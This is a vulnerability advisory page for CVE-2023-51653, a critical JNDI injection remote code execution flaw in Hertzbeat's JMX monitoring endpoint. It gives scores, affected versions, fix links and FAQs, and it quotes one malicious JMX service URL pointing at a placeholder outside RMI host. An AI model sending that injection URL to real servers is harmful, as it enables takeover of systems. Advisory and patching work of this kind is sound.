CVE-2023-51653

Public Exploit
Hertzbeat JMX JNDI RCE

Description

Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.

Category

9.8
CVSS
Severity: Critical
CVSS 3.1 •
EPSS 3.58% Top 15%
Vendor Advisory github.com
Affected: dromara hertzbeat
Published at:
Updated at:

References

Link Tags
https://github.com/dromara/hertzbeat/security/advisories/GHSA-gcmp-vf6v-59gg vendor advisory exploit
https://github.com/dromara/hertzbeat/commit/f794b0d82be49c596c04a042976446559eb315ef patch

Frequently Asked Questions

What is the severity of CVE-2023-51653?
CVE-2023-51653 has been scored as a critical severity vulnerability.
How to fix CVE-2023-51653?
To fix CVE-2023-51653, make sure you are using an up-to-date version of the affected component(s) by checking the vendor release notes. As for now, there are no other specific guidelines available.
Is CVE-2023-51653 being actively exploited in the wild?
It is possible that CVE-2023-51653 is being exploited or will be exploited in a near future based on public information. According to its EPSS score, there is a ~4% probability that this vulnerability will be exploited by malicious actors in the next 30 days.
What software or system is affected by CVE-2023-51653?
CVE-2023-51653 affects dromara hertzbeat.
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